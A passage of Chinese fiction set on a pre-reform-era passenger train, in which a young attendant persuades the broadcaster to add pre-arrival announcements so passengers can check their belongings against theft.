除了播报站点,上下车提示外,还会播放戏曲和当代一些比较红的歌曲。但是这时候播放歌曲可不能随便播,毕竟改革还没开放,那些在港台十分火爆的甜蜜蜜之类的流行歌曲是绝对不能放的。 只能放一些红歌,大陆影视的歌曲。 有的播报员甚至还会再广播里邀请会唱歌的乘客,去播音室唱歌,就是为乘客增加一些娱乐。 还有的播音员会在广播室读报纸,读一些比较重要的咨询,或者一些大站当地的报纸上面的内容。 听完闪闪红星,烟也抽完了。程成拎着他的大水壶去休息室那边休息,席于飞想了想,也在这里坐不住,干脆出去溜达一圈。 车上的人真的很多,走廊里,门口,甚至厕所里都挤满了人。 他努力挤到广播站,探头探脑的往里面看。 这个广播员看着二十多不到三十岁,梳着个大背头,像个领导似的。他正在摆弄机器,播放下一首歌曲。 播放歌曲的时候,话筒是关闭状态。播音员弄完歌曲原本想看一会儿报纸,见门口来了人就皱眉,“什么事?” “啊,那什么……茉莉花茶,您喝吗?”席于飞掏出一包茶叶递过去,“挺香的。” 那人脸色缓和,松了口气道:“我还以为出了什么紧急情况了呢。” 车上如果丢了东西,孩子跑不见了,或者有人生病都算紧急情况,需要播音员配合播报。 “哥,是有那么个事儿……” 席于飞见对方并不排斥自己,厚着脸皮挤进屋,把自己的想法说了一下。 播音员皱着眉头想了想,“一般我们都是快到站的时候才会播报……” “那时候如果发现丢了东西,可就真找不回来了。那什么,我知道这件事对您来说比较麻烦,但我也是为了老百姓着想。那什么,你不愿意也没事,顶多我就在自己车厢里喊几声。” 席于飞知道这个年代大家都是拿铁饭碗,平时多一事不如少一事,养出来的性子都比较懒。 “这有什么不愿意的,”播音员笑了笑,“反正我也是没什么事做,不是放歌就是读报纸。不就是到站前一个小时说一次,然后过半个小时再提醒一次吗?成,我记录一下。你这孩子还挺有意思,新来的就敢提意见了。” 席于飞嘿嘿一笑,道:“我就是看大哥您好说话,才厚着脸皮提要求的。” 播音员摆摆手道,“别扯这些,你提的意见是好意见我就听,再说也不是什么费劲儿的事。成了,你赶紧回去休息吧,这一路上有的折腾呢。” 从播音室往回走,又遇到了巡车的陈虎,“溜达呢?” “嗯呢,你这也溜达一圈了?车上咋样?”席于飞问。 陈虎笑着道:“还能咋样,这才第一站,没人敢在刚开始就作死。你且等着吧,等凌晨那时候,热闹。” 虽然陈虎也是第一次上车,但他也有师傅带,估计这些话是他师傅说的。 那些“手艺人”,最喜欢在凌晨的时候动手了。因为那时候车里灯光昏暗,乘客昏昏欲睡,最适合施展手艺。到时候一停车往车外一窜,谁都抓不到。 席于飞可不想自己负责的车厢里出事,如果出事太多会影响整辆车评优,这个评价关系着他师傅老侯的评级,以及他们这些人的工资涨幅。 若是出事次数多了,还会被车组内通报批评,脸都得丢光。